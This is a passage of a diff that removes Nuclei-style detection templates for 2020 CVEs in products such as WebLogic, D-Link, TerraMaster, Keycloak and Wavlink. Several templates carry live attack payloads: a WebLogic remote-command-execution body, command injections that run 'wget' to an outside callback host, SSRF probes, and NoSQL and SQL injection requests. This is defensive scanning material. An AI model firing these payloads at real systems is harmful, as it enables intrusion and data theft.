-  severity: medium
-  description: Keycloak 12.0.1 and below allow an attacker to force the server to request an unverified URL using the OIDC parameter request_uri. This allows an attacker to execute a server-side request forgery (SSRF) attack.
-  reference:
-    - https://packetstormsecurity.com/files/164499/Keycloak-12.0.1-Server-Side-Request-Forgery.html
-    - https://www.exploit-db.com/exploits/50405
-    - https://nvd.nist.gov/vuln/detail/CVE-2020-10770
-    - https://bugzilla.redhat.com/show_bug.cgi?id=1846270
-  classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
-    cvss-score: 5.3
-    cve-id: CVE-2020-10770
-    cwe-id: CWE-601
-  tags: keycloak,ssrf,oast,cve,cve2020,blind,packetstorm,edb
-
-requests:
-  - method: GET
-    path:
-      - '{{BaseURL}}/auth/realms/master/protocol/openid-connect/auth?scope=openid&response_type=code&redirect_uri=valid&state=cfx&nonce=cfx&client_id=security-admin-console&request_uri=http://{{interactsh-url}}/'
-
-    matchers:
-      - type: word
-        part: interactsh_protocol # Confirms the HTTP Interaction
-        words:
-          - "http"
-
-# Enhanced by cs 08/03/2022

cves/2020/CVE-2020-10973.yaml

@@ -1,43 +0,0 @@
-id: CVE-2020-10973
-
-info:
-  name: Wavlink WN530HG4 - Access Control
-  author: arafatansari
-  severity: high
-  description: |
-    An issue was discovered in Wavlink WN530HG4, Wavlink WN531G3, Wavlink WN533A8, and Wavlink WN551K1 affecting /cgi-bin/ExportAllSettings.sh where a crafted POST request returns the current configuration of the device, including the administrator password. No authentication is required. The attacker must perform a decryption step, but all decryption information is readily available.
-  reference:
-    - https://github.com/sudo-jtcsec/CVE/blob/master/CVE-2020-10973
-    - https://nvd.nist.gov/vuln/detail/CVE-2020-10973
-    - https://github.com/sudo-jtcsec/Nyra
-  classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
-    cvss-score: 7.5
-    cve-id: CVE-2020-10973
-    cwe-id: CWE-306
-  metadata:
-    shodan-query: http.html:"Wavlink"
-    verified: "true"
-  tags: cve,cve2020,exposure,wavlink
-
-requests:
-  - raw:
-      - |
-        GET /backupsettings.dat HTTP/1.1
-        Host: {{Hostname}}
-
-    matchers-condition: and
-    matchers:
-      - type: word
-        part: body
-        words:
-          - 'Salted__'
-
-      - type: word
-        part: header
-        words:
-          - application/octet-stream
-
-      - type: status
-        status:
-          - 200

cves/2020/CVE-2020-11450.yaml

@@ -1,42 +0,0 @@
-id: CVE-2020-11450
-info:
-  name: Microstrategy Web 10.4 exposes the JVM configuration
-  author: tess
-  severity: high
-  description: |
-    Microstrategy Web 10.4 exposes the JVM configuration, CPU architecture,
-    installation folder, and other information through the URL /MicroStrategyWS/happyaxis.jsp.
-    An attacker could use this vulnerability to learn more about the environment the
-    application is running in. This issue has been mitigated in all versions of the
-    product 11.0 and higher.
-  reference:
-    - http://packetstormsecurity.com/files/157068/MicroStrategy-Intelligence-Server-And-Web-10.4-XSS-Disclosure-SSRF-Code-Execution.html
-    - https://nvd.nist.gov/vuln/detail/cve-2020-11450
-    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11450
-    - https://www.redtimmy.com/web-application-hacking/another-ssrf-another-rce-the-microstrategy-case/
-  classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
-    cvss-score: 7.5
-    cve-id: CVE-2020-11450
-  tags: microstrategy,exposure,jvm,config,packetstorm,cve,cve2020
-
-requests:
-  - method: GET
-    path:
-      - '{{BaseURL}}/MicroStrategyWS/happyaxis.jsp'
-
-    redirects: true
-    max-redirects: 2
-    matchers-condition: and
-    matchers:
-      - type: word
-        part: body
-        words:
-          - 'Axis2 Happiness Page'
-          - 'Examining webapp configuration'
-          - 'Essential Components'
-        condition: and
-
-      - type: status
-        status:
-          - 200

cves/2020/CVE-2020-11547.yaml

@@ -1,47 +0,0 @@
-id: CVE-2020-11547
-
-info:
-  name: PRTG Network Monitor < 20.1.57.1745 - Information Disclosure
-  author: x6263
-  severity: medium
-  description: PRTG Network Monitor before 20.1.57.1745 allows remote unauthenticated attackers to obtain information about probes running or the server itself via an HTTP request.
-  metadata:
-    verified: true
-    shodan-query: title:"prtg"
-  reference:
-    - https://github.com/ch-rigu/CVE-2020-11547--PRTG-Network-Monitor-Information-Disclosure
-    - https://nvd.nist.gov/vuln/detail/CVE-2020-11547
-    - https://github.com/ch-rigu/PRTG-Network-Monitor-Information-Disclosure
-  classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
-    cvss-score: 5.3
-    cve-id: CVE-2020-11547
-    cwe-id: CWE-200
-  tags: cve,cve2020,prtg,disclosure,network
-
-requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/public/login.htm?type=probes"
-      - "{{BaseURL}}/public/login.htm?type=requests"
-      - "{{BaseURL}}/public/login.htm?type=treestat"
-
-    stop-at-first-match: true
-    req-condition: true
-    matchers-condition: and
-    matchers:
-      - type: dsl
-        dsl:
-          - "contains(body_1, 'Probe #1') && contains(body_2, '<span>Configuration Requests Sent</span>')"
-
-      - type: word
-        part: body
-        words:
-          - "prtg_network_monitor"
-          - "Probes"
-          - "Groups"
-        condition: or
-
-      - type: status
-        status:
-          - 200

cves/2020/CVE-2020-12127.yaml

@@ -1,41 +0,0 @@
-id: CVE-2020-12127
-
-info:
-  name: WAVLINK WN530H4 M30H4.V5030.190403 - Information Disclosure
-  author: arafatansari
-  severity: high
-  description: |
-    An information disclosure vulnerability in the /cgi-bin/ExportAllSettings.sh endpoint of the WAVLINK WN530H4 M30H4.V5030.190403 allows an attacker to leak router settings, including cleartext login details, DNS settings, and other sensitive information without authentication.
-  reference:
-    - https://nvd.nist.gov/vuln/detail/CVE-2020-12127
-    - https://cerne.xyz/bugs/CVE-2020-12127
-    - https://www.wavlink.com/en_us/product/WL-WN530H4.html
-  classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
-    cvss-score: 7.5
-    cve-id: CVE-2020-12127
-    cwe-id: CWE-306
-  metadata:
-    shodan-query: http.html:"Wavlink"
-    verified: "true"
-  tags: cve,cve2020,wavlink,exposure
-
-requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/cgi-bin/ExportAllSettings.sh"
-
-    matchers-condition: and
-    matchers:
-      - type: word
-        part: body
-        words:
-          - 'Login='
-          - 'Password='
-          - 'Model='
-          - 'AuthMode='
-        condition: and
-
-      - type: status
-        status:
-          - 200

cves/2020/CVE-2020-12478.yaml

@@ -1,41 +0,0 @@
-id: CVE-2020-12478
-
-info:
-  name: TeamPass 2.1.27.36 - Unauthenticated Access
-  author: arafatansari
-  severity: high
-  description: |
-    TeamPass 2.1.27.36 allows an unauthenticated attacker to retrieve files from the TeamPass web root. This may include backups or LDAP debug files.
-  reference:
-    - https://github.com/nilsteampassnet/TeamPass/issues/2764
-    - https://nvd.nist.gov/vuln/detail/CVE-2020-12478
-  classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
-    cvss-score: 7.5
-    cve-id: CVE-2020-12478
-    cwe-id: CWE-306
-  metadata:
-    shodan-query: http.html:"teampass"
-    verified: "true"
-  tags: cve,cve2020,teampass,exposure,unauth
-
-requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/files/ldap.debug.txt"
-
-    matchers-condition: and
-    matchers:
-      - type: word
-        part: body
-        words:
-          - 'Get all LDAP params'
-
-      - type: word
-        part: header
-        words:
-          - "text/plain"
-
-      - type: status
-        status:
-          - 200

cves/2020/CVE-2020-13121.yaml

@@ -1,34 +0,0 @@
-id: CVE-2020-13121
-
-info:
-  name: Submitty 20.04.01 - Open redirect
-  author: 0x_Akoko
-  severity: medium
-  description: Submitty through 20.04.01 has an open redirect via authentication/login?old= during an invalid login attempt.
-  reference:
-    - https://github.com/Submitty/Submitty/issues/5265
-    - https://www.cvedetails.com/cve/CVE-2020-13121
-  classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
-    cvss-score: 6.10
-    cve-id: CVE-2020-13121
-    cwe-id: CWE-601
-  tags: cve,cve2020,redirect,submitty,oos
-
-requests:
-  - raw:
-      - |
-        POST /authentication/check_login?old=http%253A%252F%252Fexample.com%252Fhome HTTP/1.1
-        Host: {{Hostname}}
-        Origin: {{RootURL}}
-        Content-Type: application/x-www-form-urlencoded
-        Referer: {{RootURL}}/authentication/login
-
-        user_id={{username}}&password={{password}}&stay_logged_in=on&login=Login
-
-    cookie-reuse: true
-    matchers:
-      - type: regex
-        part: header
-        regex:
-          - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)?(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' # https://regex101.com/r/ZDYhFh/1

cves/2020/CVE-2020-13405.yaml

@@ -1,47 +0,0 @@
-id: CVE-2020-13405
-
-info:
-  name: MicroWeber - Unauthenticated User Database Disclosure
-  author: ritikchaddha,amit-jd
-  severity: high
-  description: |
-    The PHP code for controller.php run Laravel's dump and die function on the users database. Dump and die simply prints the contents of the entire PHP variable (in this case, the users database) out to HTML.
-  reference:
-    - https://rhinosecuritylabs.com/research/microweber-database-disclosure/
-    - https://nvd.nist.gov/vuln/detail/CVE-2020-13405
-    - https://github.com/microweber/microweber/commit/269320e0e0e06a1785e1a1556da769a34280b7e6
-  classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
-    cvss-score: 7.5
-    cve-id: CVE-2020-13405
-    cwe-id: CWE-306
-  metadata:
-    shodan-query: http.html:"microweber"
-    verified: "true"
-  tags: cve,cve2020,microweber,unauth,disclosure
-
-requests:
-  - raw:
-      - |
-        POST /module/ HTTP/1.1
-        Host: {{Hostname}}
-        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
-        Referer: {{BaseURL}}admin/view:modules/load_module:users
-
-        module={{endpoint}}
-
-    payloads:
-      endpoint:
-        - "users/controller"
-        - "modules/users/controller"
-        - "/modules/users/controller"
-
-    matchers:
-      - type: dsl
-        dsl:
-          - 'contains(body,"username")'
-          - 'contains(body,"password")'
-          - 'contains(body,"password_reset_hash")'
-          - 'status_code==200'
-          - 'contains(all_headers,"text/html")'
-        condition: and

cves/2020/CVE-2020-14179.yaml

@@ -1,34 +0,0 @@
-id: CVE-2020-14179
-
-info:
-  name: Sensitive data exposure via insecure Jira endpoint
-  author: x1m_martijn
-  severity: medium
-  description: Affected versions of Atlassian Jira Server and Data Center allow remote, unauthenticated attackers to view custom field names and custom SLA names via an Information Disclosure vulnerability in the
-    /secure/QueryComponent!Default.jspa endpoint. The affected versions are before version 8.5.8, and from version 8.6.0 before 8.11.1.
-  reference:
-    - https://jira.atlassian.com/browse/JRASERVER-71536
-  classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
-    cvss-score: 5.3
-    cve-id: CVE-2020-14179
-  metadata:
-    shodan-query: http.component:"Atlassian Jira"
-  tags: cve,cve2020,atlassian,jira,exposure,disclosure
-
-requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/secure/QueryComponent!Default.jspa"
-
-    matchers-condition: and
-    matchers:
-      - type: word
-        words:
-          - '{"searchers":'
-          - '"groups":'
-        condition: and
-
-      - type: status
-        status:
-          - 200

cves/2020/CVE-2020-14181.yaml

@@ -1,36 +0,0 @@
-id: CVE-2020-14181
-
-info:
-  name: User enumeration via insecure Jira endpoint
-  author: bjhulst
-  severity: medium
-  description: Affected versions of Atlassian Jira Server and Data Center allow an unauthenticated user to enumerate users via an Information Disclosure vulnerability in the /ViewUserHover.jspa endpoint. The affected
-    versions are before version 7.13.6, from version 8.0.0 before 8.5.7, and from version 8.6.0 before 8.12.0.
-  reference:
-    - https://jira.atlassian.com/browse/JRASERVER-71560
-    - http://packetstormsecurity.com/files/161730/Atlassian-JIRA-8.11.1-User-Enumeration.html
-  classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
-    cvss-score: 5.3
-    cve-id: CVE-2020-14181
-    cwe-id: CWE-200
-  metadata:
-    shodan-query: http.component:"Atlassian Jira"
-  tags: cve,cve2020,atlassian,jira,packetstorm
-
-requests:
-  - method: GET
-    path:
-      - '{{BaseURL}}/secure/ViewUserHover.jspa'
-
-    matchers-condition: and
-    matchers:
-      - type: word
-        words:
-          - 'User does not exist'
-          - 'content="JIRA"'
-        condition: and
-
-      - type: status
-        status:
-          - 200

cves/2020/CVE-2020-14883.yaml

@@ -1,59 +0,0 @@
-id: CVE-2020-14883
-
-info:
-  name: Oracle Fusion Middleware WebLogic Server Administration Console - Remote Code Execution
-  author: pdteam
-  severity: high
-  description: The Oracle Fusion Middleware WebLogic Server admin console in versions 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0 is vulnerable to an easily exploitable vulnerability that allows high privileged attackers with network access via HTTP to compromise Oracle WebLogic Server.
-  reference:
-    - https://packetstormsecurity.com/files/160143/Oracle-WebLogic-Server-Administration-Console-Handle-Remote-Code-Execution.html
-    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-14883
-    - https://www.oracle.com/security-alerts/cpuoct2020.html
-    - http://packetstormsecurity.com/files/160143/Oracle-WebLogic-Server-Administration-Console-Handle-Remote-Code-Execution.html
-  classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
-    cvss-score: 7.2
-    cve-id: CVE-2020-14883
-  tags: oracle,rce,weblogic,kev,packetstorm,cve,cve2020
-
-requests:
-  - raw:
-      - |
-        POST /console/images/%252e%252e%252fconsole.portal HTTP/1.1
-        Host: {{Hostname}}
-        Accept-Language: en
-        CMD: {{cmd}}
-        Content-Type: application/x-www-form-urlencoded
-        Accept-Encoding: gzip, deflate
-
-        test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread currentThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = currentThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");field.setAccessible(true);Object obj = field.get(adapter);weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj); String cmd = req.getHeader("CMD");String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};if(cmd != null ){ String result = new java.util.Scanner(new java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\\A").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req);res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();} currentThread.interrupt();')
-
-    payloads:
-      cmd:
-        - id
-
-    matchers-condition: and
-    matchers:
-      - type: word
-        part: header
-        words:
-          - "ADMINCONSOLESESSION"
-
-      - type: word
-        part: body
-        words:
-          - 'uid='
-          - 'gid='
-          - 'groups='
-        condition: and
-
-      - type: status
-        status:
-          - 200
-
-    extractors:
-      - type: regex
-        regex:
-          - "(u|g)id=.*"
-
-# Enhanced by mp on 2022/04/20

cves/2020/CVE-2020-2103.yaml

@@ -1,58 +0,0 @@
-id: CVE-2020-2103
-
-info:
-  name: Diagnostic page exposed session cookies
-  author: c-sh0
-  severity: medium
-  description: Jenkins 2.218 and earlier, LTS 2.204.1 and earlier exposed session identifiers on a users detail object in the whoAmI diagnostic page.
-  reference:
-    - https://nvd.nist.gov/vuln/detail/CVE-2020-2103
-    - https://www.jenkins.io/security/advisory/2020-01-29/#SECURITY-1695
-    - https://jenkins.io/security/advisory/2020-01-29/#SECURITY-1695
-    - http://www.openwall.com/lists/oss-security/2020/01/29/1
-  classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
-    cvss-score: 5.4
-    cve-id: CVE-2020-2103
-    cwe-id: CWE-200
-  metadata:
-    shodan-query: http.favicon.hash:81586312
-  tags: cve,cve2020,jenkins
-
-requests:
-  - raw:
-      - |
-        GET {{BaseURL}}/whoAmI/ HTTP/1.1
-        Host: {{Hostname}}
-
-      - |
-        GET {{BaseURL}}/whoAmI/ HTTP/1.1
-        Host: {{Hostname}}
-
-    cookie-reuse: true
-    req-condition: true
-    matchers-condition: and
-    matchers:
-      - type: status
-        status:
-          - 200
-
-      - type: word
-        part: header
-        words:
-          - 'text/html'
-          - 'x-jenkins'
-        condition: and
-        case-insensitive: true
-
-      - type: word
-        part: body_2
-        words:
-          - 'Cookie'
-          - 'SessionId: null'
-        condition: and
-
-    extractors:
-      - type: kval
-        kval:
-          - x_jenkins

cves/2020/CVE-2020-25506.yaml

@@ -1,39 +0,0 @@
-id: CVE-2020-25506
-
-info:
-  name: D-Link DNS-320 - Unauthenticated Remote Code Execution
-  author: gy741
-  severity: critical
-  description: D-Link DNS-320 FW v2.06B01 Revision Ax is susceptible to a command injection vulnerability in a system_mgr.cgi component. The component does not successfully sanitize the value of the HTTP parameters f_ntp_server, which in turn leads to arbitrary command execution.
-  reference:
-    - https://gist.github.com/WinMin/6f63fd1ae95977e0e2d49bd4b5f00675
-    - https://unit42.paloaltonetworks.com/mirai-variant-iot-vulnerabilities/
-    - https://nvd.nist.gov/vuln/detail/CVE-2020-25506
-  classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
-    cvss-score: 9.8
-    cve-id: CVE-2020-25506
-    cwe-id: CWE-78
-  tags: cve,cve2020,dlink,rce,oast,mirai,unauth,router,kev
-
-requests:
-  - raw:
-      - |
-        POST /cgi-bin/system_mgr.cgi? HTTP/1.1
-        Host: {{Hostname}}
-        Accept: */*
-
-        C1=ON&cmd=cgi_ntp_time&f_ntp_server=`wget http://{{interactsh-url}}`
-
-      - |
-        POST /cgi-bin/system_mgr.cgi?C1=ON&cmd=cgi_ntp_time&f_ntp_server=`wget http://{{interactsh-url}}` HTTP/1.1
-        Host: {{Hostname}}
-        Accept: */*
-
-    matchers:
-      - type: word
-        part: interactsh_protocol # Confirms the HTTP Interaction
-        words:
-          - "http"
-
-# Enhanced by mp on 2022/03/27

cves/2020/CVE-2020-26413.yaml

@@ -1,52 +0,0 @@
-id: CVE-2020-26413
-
-info:
-  name: Gitlab User enumeration via Graphql API
-  author: _0xf4n9x_,pikpikcu
-  severity: medium
-  description: An issue has been discovered in GitLab CE/EE affecting all versions starting from 13.4 before 13.6.2. Information disclosure via GraphQL results in user email being unexpectedly visible.
-  reference:
-    - https://gitlab.com/gitlab-org/gitlab/-/issues/244275
-    - https://gitlab.com/gitlab-org/cves/-/blob/master/2020/CVE-2020-26413.json
-    - https://nvd.nist.gov/vuln/detail/CVE-2020-26413
-  classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
-    cvss-score: 5.3
-    cve-id: CVE-2020-26413
-    cwe-id: CWE-200
-  metadata:
-    shodan-query: http.title:"GitLab"
-  tags: cve,cve2020,gitlab,exposure,enum,graphql
-
-requests:
-  - raw:
-      - |
-        POST /api/graphql HTTP/1.1
-        Host: {{Hostname}}
-        Content-Type: application/json
-
-        {
-          "query": "{\nusers {\nedges {\n  node {\n    username\n    email\n    avatarUrl\n    status {\n      emoji\n      message\n      messageHtml\n     }\n    }\n   }\n  }\n }",
-          "variables": null,
-          "operationName": null
-        }
-
-    matchers-condition: and
-    matchers:
-      - type: word
-        part: body
-        words:
-          - '"username":'
-          - '"avatarUrl":'
-          - '"node":'
-        condition: and
-
-      - type: status
-        status:
-          - 200
-
-    extractors:
-      - type: json
-        part: body
-        json:
-          - '.data.users.edges[].node.email'

cves/2020/CVE-2020-2733.yaml

@@ -1,41 +0,0 @@
-id: CVE-2020-2733
-
-info:
-  name: JD Edwards EnterpriseOne Tools - Admin Password Disclosure
-  author: DhiyaneshDk,pussycat0x
-  severity: critical
-  description: |
-    Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Monitoring and Diagnostics). The supported version that is affected is 9.2. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise JD Edwards EnterpriseOne Tools. Successful attacks of this vulnerability can result in takeover of JD Edwards EnterpriseOne Tools.
-  reference:
-    - https://redrays.io/cve-2020-2733-jd-edwards/
-    - https://www.oracle.com/security-alerts/cpuapr2020.html
-    - https://nvd.nist.gov/vuln/detail/CVE-2020-2733
-  classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
-    cvss-score: 9.8
-    cve-id: CVE-2020-2733
-  metadata:
-    shodan-query: port:8999 product:"Oracle WebLogic Server"
-    verified: "true"
-  tags: cve,cve2020,oracle,weblogic,disclosure,exposure
-
-requests:
-  - method: GET
-    path:
-      - '{{BaseURL}}/manage/fileDownloader?sec=1'
-
-    matchers-condition: and
-    matchers:
-      - type: word
-        part: body
-        words:
-          - 'ACHCJK'
-
-      - type: word
-        part: header
-        words:
-          - "text/plain"
-
-      - type: status
-        status:
-          - 200

cves/2020/CVE-2020-28188.yaml

@@ -1,36 +0,0 @@
-id: CVE-2020-28188
-
-info:
-  name: TerraMaster TOS - Unauthenticated Remote Command Execution
-  author: gy741
-  severity: critical
-  description: TerraMaster TOS <= 4.2.06 is susceptible to a remote code execution vulnerability which could allow remote unauthenticated attackers to inject OS commands via /include/makecvs.php via the Event parameter.
-  reference:
-    - https://www.ihteam.net/advisory/terramaster-tos-multiple-vulnerabilities/
-    - https://www.pentest.com.tr/exploits/TerraMaster-TOS-4-2-06-Unauthenticated-Remote-Code-Execution.html
-    - https://research.checkpoint.com/2021/freakout-leveraging-newest-vulnerabilities-for-creating-a-botnet/
-    - https://nvd.nist.gov/vuln/detail/CVE-2020-28188
-  classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
-    cvss-score: 9.8
-    cve-id: CVE-2020-28188
-    cwe-id: CWE-78
-  tags: cve,cve2020,terramaster,rce,oast,mirai,unauth
-
-requests:
-  - raw:
-      - |
-        GET /include/makecvs.php?Event=%60wget%20http%3A%2F%2F{{interactsh-url}}%60 HTTP/1.1
-        Host: {{Hostname}}
-
-      - |
-        GET /tos/index.php?explorer/pathList&path=%60wget%20http%3A%2F%2F{{interactsh-url}}%60 HTTP/1.1
-        Host: {{Hostname}}
-
-    matchers:
-      - type: word
-        part: interactsh_protocol # Confirms the HTTP Interaction
-        words:
-          - "http"
-
-# Enhanced by mp on 2022/03/27

cves/2020/CVE-2020-28208.yaml

@@ -1,39 +0,0 @@
-id: CVE-2020-28208
-
-info:
-  name: RocketChat Unauthenticated Email enumeration
-  author: pdteam
-  severity: medium
-  description: An email address enumeration vulnerability exists in the password reset function of Rocket.Chat through 3.9.1.
-  reference:
-    - https://trovent.io/security-advisory-2010-01
-    - https://trovent.github.io/security-advisories/TRSA-2010-01/TRSA-2010-01.txt
-    - http://www.openwall.com/lists/oss-security/2021/01/07/1
-  classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
-    cvss-score: 5.3
-    cve-id: CVE-2020-28208
-    cwe-id: CWE-203
-  tags: cve,cve2020,rocketchat
-
-requests:
-  - raw:
-      - |
-        POST /api/v1/method.callAnon/sendForgotPasswordEmail HTTP/1.1
-        Host: {{Hostname}}
-        Origin: {{BaseURL}}
-        Content-Type: application/json
-
-        {"message":"{\"msg\":\"method\",\"method\":\"sendForgotPasswordEmail\",\"params\":[\"[email protected]\"],\"id\":\"3\"}"}
-
-    matchers-condition: and
-    matchers:
-      - type: status
-        status:
-          - 200
-      - type: word
-        words:
-          - '"result\":false'
-          - '"success":true'
-        part: body
-        condition: and

cves/2020/CVE-2020-28976.yaml

@@ -1,32 +0,0 @@
-id: CVE-2020-28976
-
-info:
-  name: Wordpress Plugin Canto 1.3.0 - Blind SSRF (Unauthenticated)
-  author: LogicalHunter
-  severity: medium
-  description: The Canto plugin 1.3.0 for WordPress contains a blind SSRF vulnerability. It allows an unauthenticated attacker to make a request to any internal and external server via /includes/lib/detail.php?subdomain=SSRF.
-  reference:
-    - https://www.exploit-db.com/exploits/49189
-    - https://nvd.nist.gov/vuln/detail/CVE-2020-28976
-    - https://www.canto.com/integrations/wordpress/
-    - https://github.com/CantoDAM/Canto-Wordpress-Plugin
-  classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
-    cvss-score: 5.3
-    cve-id: CVE-2020-28976
-    cwe-id: CWE-918
-  tags: cve,cve2020,ssrf,wordpress,wp-plugin,oast,edb
-
-requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/wp-content/plugins/canto/includes/lib/detail.php?subdomain={{interactsh-url}}"
-      - "{{BaseURL}}/wp-content/plugins/canto/includes/lib/get.php?subdomain={{interactsh-url}}"
-      - "{{BaseURL}}/wp-content/plugins/canto/includes/lib/tree.php?subdomain={{interactsh-url}}"
-
-    stop-at-first-match: true
-    matchers:
-      - type: word
-        part: interactsh_protocol
-        words:
-          - "http"

cves/2020/CVE-2020-35476.yaml

@@ -1,42 +0,0 @@
-id: CVE-2020-35476
-
-info:
-  name: OpenTSDB <= 2.4.0 - Remote Code Execution
-  author: pikpikcu
-  severity: critical
-  description: OpenTSDB through 2.4.0 and earlier is susceptible to remote code execution via the yrange parameter written to a gnuplot file in the /tmp directory.
-  reference:
-    - https://github.com/OpenTSDB/opentsdb/issues/2051
-    - https://nvd.nist.gov/vuln/detail/CVE-2020-35476
-    - http://packetstormsecurity.com/files/170331/OpenTSDB-2.4.0-Command-Injection.html
-  classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
-    cvss-score: 9.8
-    cve-id: CVE-2020-35476
-    cwe-id: CWE-78
-  tags: cve,cve2020,opentsdb,rce,packetstorm
-
-requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:sys.cpu.nice&o=&ylabel=&xrange=10:10&yrange=[33:system(%27wget%20http://interact.sh%27)]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json"
-    matchers-condition: and
-    matchers:
-      - type: status
-        status:
-          - 200
-
-      - type: word
-        words:
-          - plotted
-          - timing
-          - cachehit
-        part: body
-        condition: and
-
-      - type: word
-        words:
-          - application/json
-        part: header
-
-# Enhanced by mp on 2022/04/28

cves/2020/CVE-2020-35847.yaml

@@ -1,40 +0,0 @@
-id: CVE-2020-35847
-
-info:
-  name: Agentejo Cockpit <0.11.2 - NoSQL Injection
-  author: dwisiswant0
-  severity: critical
-  description: Agentejo Cockpit before 0.11.2 allows NoSQL injection via the Controller/Auth.php resetpassword function of the Auth controller.
-  reference:
-    - https://swarm.ptsecurity.com/rce-cockpit-cms/
-    - https://nvd.nist.gov/vuln/detail/CVE-2020-35847
-    - https://getcockpit.com/
-    - https://github.com/agentejo/cockpit/commit/2a385af8d80ed60d40d386ed813c1039db00c466
-  classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
-    cvss-score: 9.8
-    cve-id: CVE-2020-35847
-    cwe-id: CWE-89
-  tags: cve,cve2020,nosqli,sqli,cockpit,injection
-
-requests:
-  - method: POST
-    path:
-      - "{{BaseURL}}/auth/requestreset"
-    headers:
-      Content-Type: application/json
-    body: |
-      {
-        "user": {
-          "$func": "var_dump"
-        }
-      }
-
-    matchers:
-      - type: regex
-        part: body
-        regex:
-          - 'string\([0-9]{1,3}\)(\s)?"([A-Za-z0-9]+)"'
-
-
-# Enhanced by mp on 2022/04/28

cves/2020/CVE-2020-36112.yaml

@@ -1,33 +0,0 @@
-id: CVE-2020-36112
-
-info:
-  name: CSE Bookstore 1.0 - SQL Injection
-  author: geeknik
-  severity: critical
-  description: "CSE Bookstore version 1.0 is vulnerable to time-based blind, boolean-based blind and OR error-based SQL injection in pubid parameter in bookPerPub.php. A successful exploitation of this vulnerability will lead to an attacker dumping the entire database."
-  reference:
-    - https://www.exploit-db.com/exploits/49314
-    - https://www.tenable.com/cve/CVE-2020-36112
-    - https://nvd.nist.gov/vuln/detail/CVE-2020-36112
-  classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
-    cvss-score: 9.8
-    cve-id: CVE-2020-36112
-    cwe-id: CWE-89
-  tags: cve,cve2020,sqli,cse,edb,tenable
-
-requests:
-  - raw:
-      - |
-        GET /ebook/bookPerPub.php?pubid=4' HTTP/1.1
-        Host: {{Hostname}}
-
-    matchers:
-      - type: word
-        part: body
-        words:
-          - "get book price failed! You have an error in your SQL syntax"
-          - "Can't retrieve data You have an error in your SQL syntax"
-        condition: or
-
-# Enhanced by mp on 2022/04/28

cves/2020/CVE-2020-36289.yaml

@@ -1,42 +0,0 @@
-id: CVE-2020-36289
-
-info:
-  name: Atlassian Jira Unauth User Enumeration
-  author: dhiyaneshDk
-  severity: medium
